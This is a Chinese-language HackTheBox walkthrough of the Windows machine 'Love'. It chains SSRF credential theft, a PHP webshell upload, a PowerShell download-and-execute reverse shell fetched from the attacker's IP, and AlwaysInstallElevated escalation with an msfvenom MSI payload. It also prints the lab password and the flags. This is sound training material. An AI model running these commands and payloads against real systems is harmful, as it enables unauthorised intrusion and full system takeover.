HTB: Love — Easy

HTB: Love — Easy


靶機 Love
平台 / 類型 HackTheBox / Windows 獨立工作站(非網域)
難度 Easy
目標 IP 10.129.48.103
Kali IP 10.10.15.48
vhost love.htb / staging.love.htb
OS 版本 Windows 10 Pro 19042(Build 19042)x64,VMware,WORKGROUP
攻擊鏈一句話:nmap 服務掃描 → TLS 憑證洩漏 vhost
staging.love.htb →
staging.love.htb/beta.php 的 File Scanner 具備
SSRF,打
http://127.0.0.1:5000 繞過 Forbidden 取得
admin : @LoveIsInTheAir!!!! →
以憑證登入 love.htb/admin(Voting System)→
Photo Upload 功能無過濾,上傳 PHP webshell 取得
RCE → IEX reverse shell 立足為
LOVE\Phoebe →
winPEAS 發現 AlwaysInstallElevated(HKLM + HKCU = 1)→
msfvenom MSI + msiexec 提權至
NT AUTHORITY\SYSTEM。

1. Recon 公網枚舉

1.1 全埠快掃

先快速掃出所有開放埠,再針對開放埠做服務版本偵測,節省時間。

(root㉿kali)-[~/Desktop/HTB/Love]
#
nmap -p- –min-rate 10000 -oN allports.nmap 10.129.48.103

nmap allports

全埠掃描結果
  • 開放:80, 135, 139, 443, 445, 3306, 5000, 5040, 5985, 5986, 47001, 49664–49670
  • 80/443 → Web,445 → SMB,3306 → MySQL,5985/5986 → WinRM,5000 → 未知

1.2 服務版本偵測

(root㉿kali)-[~/Desktop/HTB/Love]
#
nmap -p 80,135,139,443,445,3306,5000,5040,5985,5986,47001,49664,49665,49666,49667,49668,49669,49670 -sCV -oN services.nmap 10.129.48.103

nmap services

服務版本掃描 — 關鍵輸出

nmap SMB scripts

SMB Script 結果:OS Windows 10 Pro 19042,WORKGROUP(非 AD)
  • 80/tcp:Apache 2.4.46 PHP/7.3.27,http-title: Voting System using PHP → 有 Web 應用
  • 443/tcp TLS 憑證:Subject: CN=staging.love.htb, O=ValentineCorp ★ 洩漏 vhost 名稱
  • 5000/tcp:Apache 403 Forbidden → 只開放 localhost,SSRF 候選
  • 445/tcp:簽章非強制(message_signing: enabled but not required)
  • 3306/tcp:MariaDB 10.3.24,拒絕外部連線
  • SMB scripts → OS: Windows 10 Pro 19042,WORKGROUP → 無 AD,無 Kerberos,攻擊面集中在本機
💡 heuristic:看到 TLS 憑證帶 CN=staging.love.htb 就要立刻加進 /etc/hosts,這是最常見的 vhost 洩漏手法。O=ValentineCorp 說明這是自簽憑證,不是 CA 核發,靶機自己設定的。

1.3 設定 /etc/hosts

(root㉿kali)-[~/Desktop/HTB/Love]
#
sudo nano /etc/hosts
# 加入以下行:
# 10.129.48.103 love.htb staging.love.htb
(root㉿kali)-[~/Desktop/HTB/Love]
#
ping -c 3 staging.love.htb

ping staging.love.htb

ping 確認 staging.love.htb 解析至 10.129.48.103,TTL=127(Windows)

1.4 SMB 枚舉(排除)

(root㉿kali)-[~/Desktop/HTB/Love]
#
smbmap -H 10.129.48.103 -u shawn -p shawn

smbmap

smbmap:偵測到 SMB 但 0 authenticated sessions,無法讀取
(root㉿kali)-[~/Desktop/HTB/Love]
#
smbclient -N -L //10.129.48.103

smbclient

NT_STATUS_ACCESS_DENIED → Guest 列舉被關閉,SMB 排除

1.5 MySQL 枚舉(排除)

(root㉿kali)-[~/Desktop/HTB/Love]
#
mysql -h 10.129.48.103

mysql error

ERROR 1130:Host ‘10.10.15.48’ is not allowed → 預期行為,排除

1.6 Port 5040 探測(排除)

(root㉿kali)-[~/Desktop/HTB/Love]
#
curl -s -m 5 http://10.129.48.103:5040

curl 5040

無回應 → Port 5040 無可利用服務,排除

2. Web 枚舉與 SSRF 利用

2.1 瀏覽各 Web 入口

分別訪問 love.htb 和 staging.love.htb 的 HTTP/HTTPS。

love.htb login

http://love.htb — Voting System 登入頁,需帳密

love.htb 443 Forbidden

https://love.htb — 443 Forbidden,無法訪問

staging.love.htb home

http://staging.love.htb — Free File Scanner 首頁(ValentineCorp)

staging.love.htb 443 Forbidden

https://staging.love.htb — 403,無用

點擊 staging.love.htb 的 Demo 連結 → 導向 /beta.php:

beta.php empty form

staging.love.htb/beta.php — 可輸入 URL 的 File Scanner
💡 heuristic:看到「輸入 URL 讓伺服器去抓」的功能,第一直覺是 SSRF(Server-Side Request Forgery)。先確認它是否真的由 server 發出請求(用 http.server 接 callback),再嘗試打 localhost / 內網。

2.2 SSRF 確認(非盲 SSRF)

Kali 架 http.server,讓 beta.php 的 File Scanner 去抓一個不存在的路徑,看 server log 是否有 callback:

(root㉿kali)-[~/Desktop/HTB/Love]
#
python3 -m http.server 80

在 beta.php 輸入 http://10.10.15.48/test,觀察 http.server 是否收到請求:

SSRF verify

上方:beta.php 回傳 404(說明 server 真的去抓了);下方:http.server 確認收到 GET /test 來自 10.129.48.103
  • http.server 收到 GET /test → 確認 SSRF,且為非盲(頁面直接回傳抓取結果)
  • 來源 IP 是 10.129.48.103 → 由 target server 發出,可以打 localhost

2.3 SSRF 利用:打 localhost:5000 取得憑證

Port 5000 對外 403 Forbidden,但 server 自己可以訪問 127.0.0.1:5000:

在 beta.php 輸入 http://127.0.0.1:5000:

SSRF exploit creds

SSRF 成功回傳 Password Dashboard,洩漏:admin : @LoveIsInTheAir!!!!
✅ 取得憑證:admin : @LoveIsInTheAir!!!!(Voting System 管理員)

2.4 目錄爆破

用 gobuster 對 love.htb 做目錄爆破,找可上傳的路徑:

(root㉿kali)-[~/Desktop/HTB/Love]
#
gobuster dir -u http://love.htb -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -b 404,403 -t 50

gobuster results

gobuster 結果:發現 /admin、/images、/plugins 等路徑
  • /admin → Voting System 管理後台(需帳密,已有)
  • /images → 上傳目錄,PHP 可執行(Apache,無 .htaccess 限制) ← Webshell 目標

3. 立足點:Webshell → Reverse Shell

3.1 建立 PHP Webshell

(root㉿kali)-[~/Desktop/HTB/Love]
#
echo ‘<?php system($_REQUEST[“cmd”]); ?>’ > cmd.php
# cat cmd.php

cmd.php content

建立 cmd.php:一行 PHP,透過 $_REQUEST[“cmd”] 執行系統指令

3.2 上傳 Webshell

用 SSRF 取得的憑證登入 http://love.htb/admin(帳號 admin,密碼 @LoveIsInTheAir!!!!):

進入後台 → Voters → 新增 voter → Photo 欄位選擇 cmd.php → Submit

📌 上傳功能對副檔名和 MIME type 無任何過濾,直接接受 PHP 檔案。上傳後 PHP 被存至 /images/ 目錄。

3.3 驗證 RCE

在瀏覽器訪問 webshell,帶入 cmd=whoami:

http://love.htb/images/cmd.php?cmd=whoami

RCE whoami

RCE 確認:回傳 love\phoebe

3.4 建立 Reverse Shell

Kali 建立 PowerShell reverse shell script(從 revshells.com 取得 PowerShell #3 格式):

(root㉿kali)-[~/Desktop/HTB/Love]
#
nano shell.ps1
# 內容:PowerShell TCP reverse shell,LHOST=10.10.15.48,LPORT=443

Kali 開兩個 Terminal:

# Terminal 1 — 監聽
(root㉿kali)-[~/Desktop/HTB/Love]
#
rlwrap nc -lvnp 443# Terminal 2 — 架 HTTP server 供 target 下載 shell.ps1
(root㉿kali)-[~/Desktop/HTB/Love]
#
python3 -m http.server 80

在瀏覽器觸發(URL 解碼後如下,瀏覽器自動將空白編碼為 %20):

# 觸發指令(URL decoded,貼進瀏覽器時空白自動變 %20):
http://love.htb/images/cmd.php?cmd=powershell IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.15.48/shell.ps1’)
📌 指令解說:IEX(Invoke-Expression)= 執行字串為 PowerShell 指令。New-Object Net.WebClient 建立 HTTP 客戶端,DownloadString 將 shell.ps1 下載為字串並立即執行(無落盤)。

reverse shell received

rlwrap nc 接到 reverse shell:LOVE\phoebe,位置 C:\xampp\htdocs\omrs\images

3.5 user.txt

PS C:\xampp\htdocs\omrs\images> type C:\Users\Phoebe\Desktop\user.txt
🏁 user.txt:9cc6f8f9e64c590d18ceb16156e4c3cd

4. 後滲透枚舉(Post-Exploit Enum)

4.1 基本 Token / 群組枚舉

PS C:\xampp\htdocs\omrs\images> whoami /priv
PS C:\xampp\htdocs\omrs\images> whoami /groups

whoami /priv /groups

whoami /priv 無高危權限(無 SeImpersonate 等);群組:Users + Remote Management Users
  • 無 SeImpersonatePrivilege → 排除 Potato 類攻擊(PrintSpoofer / GodPotato 等)
  • 成員:Remote Management Users → 可 WinRM 登入,但仍是低權
PS C:\xampp\htdocs\omrs\images> net user phoebe

net user phoebe

phoebe 屬 Workstation Power User,不屬 Administrators

4.2 系統資訊

PS C:\xampp\htdocs\omrs\images> systeminfo

systeminfo

Windows 10 Pro 19042,VMware,x64,安裝 9 個 Hotfix,WORKGROUP
  • 9 個 Hotfix 不多但也不少 → 核心漏洞可能性低,優先找配置錯誤
  • VMware 環境 → 常有 VMware Tools 相關路徑(後續 winPEAS 會掃到)

4.3 winPEAS 下載(含錯誤記錄)

先在 Kali 架 http.server,再下載 winPEAS。

(root㉿kali)-[~/Desktop/HTB/Love]
#
python3 -m http.server 80
❌ 錯誤做法(未落盤,目錄完全沒有 wp.exe):
wget http://10.10.15.48/winPEASx64.exe
PowerShell 的 wget 是 Invoke-WebRequest 的 alias,不加 -outfile 時整個回應被載入記憶體(丟到 stdout)而不存成檔案。
面對 ~10MB 二進位,用戶端收完即中斷連線,dir 查看目錄根本不會出現 wp.exe。

wget fail

沒加 -outfile:wget 執行完畢,dir 目錄裡完全沒有 wp.exe

http.server ConnectionResetError

http.server 側看到 GET 200 之後 ConnectionResetError — 用戶端收到回應但未落盤即中斷,不是防毒攔截。
✅ 正確做法(必加 -outfile):
PS C:\xampp\htdocs\omrs\images> powershell wget http://10.10.15.48/winPEASx64.exe -outfile wp.exe

wget success

wp.exe = 10170880 bytes(~10MB),下載成功

4.4 執行 winPEAS

PS C:\xampp\htdocs\omrs\images> .\wp.exe > wp_out.txt 2>&1

winPEAS 掃描完畢後,關鍵發現(按可疑度排序):

發現 位置 可疑度
AlwaysInstallElevated = 1(HKLM + HKCU) Registry 🔴 最高 — 直接提權
AV 排除路徑:C:\Administration、C:\xampp\htdocs\omrs Defender 設定 🟠 高 — Payload 存放地點
C:\Administration\*.exe 對 Phoebe 可寫 ACL 🟡 中 — 備案
LocalAccountTokenFilterPolicy = 1 Registry 🟡 中 — 橫向移動用

確認 AlwaysInstallElevated(winPEAS 發現後可用 reg query 驗證):

PS C:\xampp\htdocs\omrs\images> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
PS C:\xampp\htdocs\omrs\images> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

reg query AlwaysInstallElevated

HKLM = 0x1,HKCU = 0x1 — 兩個 hive 皆為 1,完整觸發條件
💡 heuristic:AlwaysInstallElevated 需要兩個 hive 同時為 1 才能利用。winPEAS 自動幫你查,但手動確認時記得兩條都跑。邏輯:HKLM 是系統設定,HKCU 是使用者設定,兩者都允許才等於管理員說「所有人安裝 MSI 都給 SYSTEM 權限」。

額外:讀取 PS 指令歷史紀錄(winPEAS 提示的敏感路徑):

PS C:\xampp\htdocs\omrs\images> type C:\Users\Phoebe\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PS history

PS history:前任玩家的 curl 指令(IP 非我方),本次無用

5. 提權:AlwaysInstallElevated → SYSTEM

5.1 生成 MSI Payload

在 Kali 用 msfvenom 建立 MSI reverse shell:

(root㉿kali)-[~/Desktop/HTB/Love]
#
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.48 LPORT=445 -f msi -o ~/Desktop/HTB/Love/rev.msi

msfvenom rev.msi

rev.msi 生成成功,159744 bytes(~156 KB),x64 架構
  • -p windows/x64/shell_reverse_tcp → x64 Windows reverse shell(與 target 架構一致)
  • -f msi → MSI 安裝包格式,這是 AlwaysInstallElevated 的專用格式
  • LPORT 用 445(常開,不易被防火牆過濾)

5.2 傳輸 rev.msi 並執行

Kali 開兩個 Terminal:

# Terminal 1 — 監聽 port 445
(root㉿kali)-[~/Desktop/HTB/Love]
#
rlwrap nc -lvnp 445# Terminal 2 — 架 http.server 供 target 下載 rev.msi
(root㉿kali)-[~/Desktop/HTB/Love]
#
python3 -m http.server 80

在 Phoebe 的 shell 下載 rev.msi:

PS C:\xampp\htdocs\omrs\images> powershell wget http://10.10.15.48/rev.msi -outfile rev.msi

執行 MSI(/quiet /qn 靜默模式,不彈 UAC 視窗):

PS C:\xampp\htdocs\omrs\images> msiexec /quiet /qn /i rev.msi
📌 原理:AlwaysInstallElevated = 1 時,Windows Installer 服務(SYSTEM 身份執行)會以 NT AUTHORITY\SYSTEM 安裝 MSI,因此 MSI 內的 payload 也以 SYSTEM 執行,完成提權。

5.3 取得 SYSTEM Shell 與 root.txt

SYSTEM shell and root.txt

whoami → nt authority\system;root.txt = 45bd1ae43be34f366d5cb091ccdcbae1
🏁 root.txt:45bd1ae43be34f366d5cb091ccdcbae1

6. 陷阱 / 套路 / 學習點

6.1 wget 不加 -outfile 導致 0 bytes

❌ 常見錯誤:在 Windows PowerShell 用 wget(Invoke-WebRequest alias)下載執行檔時,沒有加 -outfile。

現象:指令執行完畢,dir 卻找不到檔案,http.server 顯示 200 後 ConnectionResetError。

根本原因:Invoke-WebRequest 不加 -outfile 時,把 body 送到 stdout,不存檔。

正確寫法:powershell wget http://<IP>/winPEASx64.exe -outfile wp.exe

6.2 SSRF 的發現路徑

💡 套路:TLS 憑證 → vhost 洩漏 → vhost 有 File Scanner → SSRF → 打 localhost 取出被 403 擋住的服務。
這是一條很典型的 HTB 鏈,OSCP 考試中類似的邏輯:「找到可以讓 server 發請求的入口」就要想到 SSRF 打 localhost。

6.3 AlwaysInstallElevated — 兩個 hive 缺一不可

💡 記憶口訣:AlwaysInstallElevated 需要 HKLM + HKCU 都是 1。只有 HKLM=1 是系統願意,但使用者端(HKCU)沒允許,仍不觸發。winPEAS 會自動幫你查兩條並報 warning,手動確認時記得兩條 reg query 都跑。

6.4 feroxbuster vs gobuster 雜訊問題

⚠️ 注意:feroxbuster 預設啟用 link extraction(爬取頁面中的連結再遞迴掃),會噴出大量 PNG / CSS / JS 資源路徑。
解法:改用 gobuster(不做 link extraction),或在 feroxbuster 加 --dont-extract-links。
打靶機通常只需要找目錄和 PHP 檔案,資源路徑是噪音。

6.5 枚舉優先原則

📌 方法論:提權前務必跑完 winPEAS,讓枚舉結果說話,不要憑記憶或猜測直接跳到某個向量。本次 AlwaysInstallElevated 是 winPEAS 的 [+] Critical 標記發現,枚舉完才知道這台最快的路徑是 MSI,而不是其他向量(Potato 類在本機已確認無法用,因為 phoebe 無 SeImpersonate)。